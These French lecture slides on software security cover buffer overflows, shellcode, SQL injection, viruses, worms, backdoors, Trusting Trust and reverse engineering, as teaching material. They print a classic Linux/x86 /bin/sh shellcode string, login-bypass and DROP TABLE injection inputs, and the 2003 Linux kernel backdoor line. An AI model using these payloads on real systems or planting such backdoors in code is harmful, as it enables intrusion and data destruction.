Sécurité informatique : Sécurité et logiciels

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1 Sécurité informatique : Matthieu Amiguet On parle de débordement de tampon lorsqu une zone mémoire réservée pour une variable est remplie avec un contenu trop long pour cette zone mémoire En : Buffer overflow Le contenu déborde donc de la zone qui lui est attribuée Dans la plupart des cas, ceci va provoquer un plantage du programme (erreur d accès mémoire) Dans certains cas, on peut exploiter cette faille pour exécuter du code arbitraire Le débordement de tampon est, encore maintenant, une des premières causes de faille de sécurité du logiciel. Rappel : organisation de la mémoire 3 Rappel : organisation de la mémoire suite 4 Certaines zones mémoire peuvent être attribuées à la compilation (code, variables globales, ) Le reste est attribué dynamiquement dans deux structures : la pile (stack) et le tas (heap) La pile : Le tas : Essentiellement utilisées pour stocker les données locales à une procédure Gestion automatique par le processeur et/ou le système d exploitation Espace disponible pour les données dynamiques du programme Gestion à la main (malloc/free ).

2 Fonctionnement de la pile (architecture x86) 5 Lors d un appel de procédure, on empile, dans l ordre : Les paramètres passés à la procédure L adresse de retour L espace pour les variables locales Le tout forme un Stack frame Fonctionnement d un appel (architecture x86) suite 6 Débordement sur la pile 7 Si on remplit la variable buffer avec une chaîne trop longue, on va écraser l adresse de retour La plupart du temps, cette adresse pointera en-dehors de la mémoire adressable, ou vers une zone non-autorisée et cela provoquera une erreur d accès mémoire Dans certains cas, on pourra sauter vers une zone plausible. La suite de l exécution sera donc complètement erratique sauf si on s est arrangé pour sauter vers un endroit qui exécute du code maîtrisé! Code vulnérable 8

3 Exploitation 9 Comment le code ci-dessus peut-il être utilisé pour exécuter du code arbitraire? Il faudrait pouvoir écraser l adresse de retour avec une adresse dont on maîtrise le contenu mais les espaces d adressages des processus étant distincts, il faut que cette zone soit dans le processus courant On va donc utiliser le buffer lui-même! Il suffit donc de concevoir le argv[1] du programme ci-dessus de manière à ce que Il écrase l adresse de retour avec l adresse du début du buffer Le début du buffer contient le code que l on veut exécuter. Shellcode 10 Traditionnellement, le code injecté dans le processus servait à lancer un shell (souvent /bin/sh) L avantage est qu il est lancé avec les droits du processus attaqué Exemple 11 Par extension, les codes utilisés dans un débordement de tampon s appellent souvent shellcodes Il s agit d une chaîne contenant la forme compilée du code à exécuter Petite contrainte : un shellcode ne peut pas contenir l octet 0x00 (pourquoi?) Pour cette raison et par discrétion, les shellcodes sont souvent codés par un XOR octet par octet. On prévoit parfois une zone d atterrissage de NOP s Un shellcode ultra-classique pour Linux/x86 : lancement de /bin/sh par appel de l interruption 0x80 char shellcode[] = \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46 \x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e \x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8 \x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh ; Quelques protections contre l exploitation 12 Programmation Utilisation de langages de haut niveau (Java, C#, Python, ) Utilisation de fonctions sûres (strncpy, ) Compilation OS Matériel Utilisation de canaris sur la pile (StackGuard, ProPolice, MS Visual Studio 7, ) Randomisation de l espace d adressage (OpenBSD, Pax (Linux), Exec Shield (Linux), Windows Vista, ) Prévention de l exécution de certaines zone mémoires (SPARC, Alpha, PPC, Pentium IV et M, )

4 Débordement sur le tas 13 Le débordement de tampon sur la pile est le plus courant et le plus facile à exploiter C est aussi le plus portable Dans certains cas, on peut également exploiter un débordement de tampon sur le tas Plus délicat à mettre en place Plus dépendant du système d exploitation, voire de sa version Integer overflow 14 En langage de bas niveau (C, ), aucun test n est fait lors de la manipulation d entiers Exemple de principe len1 = strlen(s1) ; len2 = strlen(s2) ; s3 = (char*)malloc(len1+len2) ; memcpy(s3, s1, len1) ; memcpy(s3+len1,s2,len2) ; Ce code a l air correct, mais si s1 et s2 sont très longs, il peut provoquer un débordement de tampon Par exemple, si on arrive à soumettre des chaîne non terminées par \0 Validation des entrées utilisateur 15 Dans l exemple précédent, un utilisateur malicieux pourrait faire planter le programme Supposons qu il s agisse d un programme serveur, et que l utilisateur y accède par le biais d un client Les validations sont faites au niveau du client donc tout doit être en ordre Mais si l utilisateur contourne le client et envoie des données directement, on peut avoir un problème! De manière générale, et surtout dans les applications client-serveur, toutes les entrées utilisateur doivent être validées (sur le serveur)! Exemple : injections SQL 16 Considérons un site web dynamique où la connexion d un nouvel utilisateur est gérée par la requête SQL suivante : SELECT user_id WHERE user_name = $username AND user_password = $hashedpass En temps normal : SELECT user_id WHERE user_name = dupont AND user_password = 4EF359675FF Mais si l utilisateur, dans le champ username, a entré dupont ---, la requête devient SELECT user_id WHERE user_name = dupont --- AND user_password = peu importe! On peut donc se connecter sans connaître le mot de passe de dupont!

5 Exemple : injections SQL suite 17 On peut faire plus méchant : SELECT , passwd, login_id, full_name FROM members WHERE = $ ; = x ; DROP TABLE members ; -- SELECT , passwd, login_id, full_name FROM members WHERE = x ; DROP TABLE members ; -- ; On peut de même récupérer des informations, modifier la base de données, Injections SQL : prévention 18 Filtrer les entrées utilisateurs échapper les guillemets mais ça ne suffit pas! Utiliser des frameworks de plus haut niveau Séparer les privilèges d accès à la base de données Utiliser les procédures stockées au lieu des requêtes SQL Virus 19 Un virus est un (bout de) programme capable de se reproduire lui-même en contaminant d autres programmes (par remplacement ou ajout de code) La plupart des virus ont, à côté de leur fonction auto-reproductive, une charge utile plaisanterie (affichage de messages, ) malveillance pure (effacement de fichiers, ) chantage (cryptage de disque, ) prise de contrôle (botnets, ) Détection 20 Il est très difficile de dire, en observant un binaire, si celui-ci est auto-reproducteur ou non Au fait, on peut montrer que le problème est indécidable La détection directe et générique de virus est donc impraticable On peut par contre essayer de reconnaître des virus identifiés Si on connaît son code binaire, il devrait suffit de faire une comparaison

6 Virus : techniques de discrétion 21 Furtivité : se mettre là où on aurait jamais l idée d aller les chercher (secteurs déclarés défectueux, modifications de la table d allocation des fichiers, ) Polymorphisme : s arranger pour que le code ne soit pas toujours le même par réécritures de bouts de code par chiffrage du code compilé (avec un loader qui s occupe de le décrypter ) La faille : signatures 22 Un virus doit éviter d infecter plusieurs fois le même fichier (pour éviter de se faire repérer ) Il doit donc pouvoir savoir facilement s il a déjà infecté un fichier Pour ce faire, il y intègre généralement une signature C est cette signature, souvent, qui va permettre à l anti-virus de le repérer! techniques : Repérer les codes suspects Repérer les comportements suspects Contrôles d intégrité des fichiers Vers 23 Un ver est, comme un virus, un code auto-reproducteur La différence est le support Un virus utilise d autres fichiers exécutables Un ver se propage tout seul à travers des fonctionnalités réseau (en exploitant une faille de sécurité) Cette caractéristique peut leur permettre une propagation extrêmement rapide Exemple : en 2000, le vers ILOVEYOU s est répandu en quelques heures sur probablement des millions de machines à travers le monde Gentils virus? 24 Certains chercheurs proposent d utiliser les techniques virales au profit de la sécurité informatique Par exemple, un vers utilisant une faille de sécurité pour la patcher! De telles techniques posent de nombreuses questions Sur le plan légal Sur l acceptation par l utilisateur Sur la possibilité à maîtriser le phénomène

7 Malwares 25 Il existe de nombreux types de logiciels qui introduisent plus ou moins volontairement des failles dans le système où ils s exécutent Si le logiciel fait quelque chose d utile mais qu un point d accès a été introduit (ou oublié), on parle de porte dérobée (ou backdoor) Si le logiciel semble faire quelque chose d utile (ou de sympa ) mais que son but premier est d introduire une faille, on parle de Cheval de Troie (Trojan Horse ou Trojan) Il existe toute une palette de logiciels malicieux (malwares) avec différents buts publicité (adwares) récupération d information (spywares) Techniques 26 À première vue, ces différents logiciels ne demandent pas de techniques particulières On joue souvent sur l ingénierie sociale pour obtenir le lancement du programme Il est donc beaucoup plus facile d écrire un Cheval de Troie qu un virus, par exemple Quant aux portes dérobées dans un gros logiciel compilé, elles sont pratiquement indétectables Un cas intéressant (techniquement parlant) est celui des portes dérobées dans les logiciels open source Exemple 1 : le noyau Linux 27 En 2003, un inconnu a réussi à introduire une petite modification dans la source officielle du noyau Linux if ((options == ( WCLONE WALL)) && (current->uid = 0)) retval = -EINVAL ; Ce code a priori inoffensif permet de gagner un accès administrateur sur la machine concernée La modification a été découverte avant distribution des nouvelles sources et le problème a pu être évité en tout cas cette fois-là! Trusting Trust 28 En 1984, Ken Thompson propose une technique d introduction de porte dérobée particulièrement astucieuse (et qui a le mérite de soulever le problème de la confiance ) Première étape On modifie un compilateur pour qu il identifie les fois où il compile le code du login et qu il y introduise une porte dérobée Si on étudie le code du login, il paraît donc sain, même si le binaire ne l est pas mais une analyse du code du compilateur révèle le pot aux roses

8 Trusting Trust suite 29 Deuxième étape On modifie à nouveau le compilateur pour qu il identifie les fois où il se compile lui-même Dans ce cas, il introduit le code de la première étape s il n y est pas encore Troisième étape Résultat On compile le compilateur précédent, et on retire tout code suspect de sa source Il n existe plus nulle part de code suspect Toute recompilation du login introduira la porte dérobée Toute recompilation du compilateur produira un compilateur infecté Ingénierie inverse Ingénierie inverse 30 Pour différentes raisons, on peut être amené à désassembler un programme compilé pour voir ce qu il fait Audit de sécurité Analyse de code malicieux Interopérabilité Craquer le logiciel Espionnage industriel Ce processus peut être plus ou moins légal suivant les pays et les produits On l appelle généralement ingénierie inverse (reverse engeneering) Ingénierie inverse Obfuscation de code 31 Pour se protéger, certains éditeurs de logiciels tentent de rendre difficile le désassemblage et/ou la compréhension du code Cette technique s appelle obscurcissement / assombrissement / obfuscation de code (code obfuscation) Elle peut se faire Par modification du code source Par modification du code compilé Par cryptage du code compilé Il existe des logiciels qui obscurcissent automatiquement un code compilé donné : les packers Tout ce qui est fait automatiquement peut être défait automatiquement Ingénierie inverse Étude de cas 32 Un bon exemple de protections contre l ingénierie inverse est celui de Skype cf. l article de Desclaux&Biondi, MISC n 30, mars-avril 2007.

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